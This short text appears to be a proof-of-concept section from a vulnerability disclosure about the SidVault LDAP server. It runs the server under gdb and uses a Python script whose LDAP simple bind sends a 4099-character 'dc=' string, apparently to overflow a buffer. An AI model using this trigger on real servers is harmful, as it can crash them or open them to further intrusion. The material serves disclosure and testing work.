Proof of concept:

# gdb /usr/local/sidvault/sidvault
(...)
(gdb) r -run

In another terminal:

$ cat poc.py
import ldap

l = ldap.open("localhost")
l.simple_bind("dc=" + "A"*4099, "B"*256)
$ ./poc.py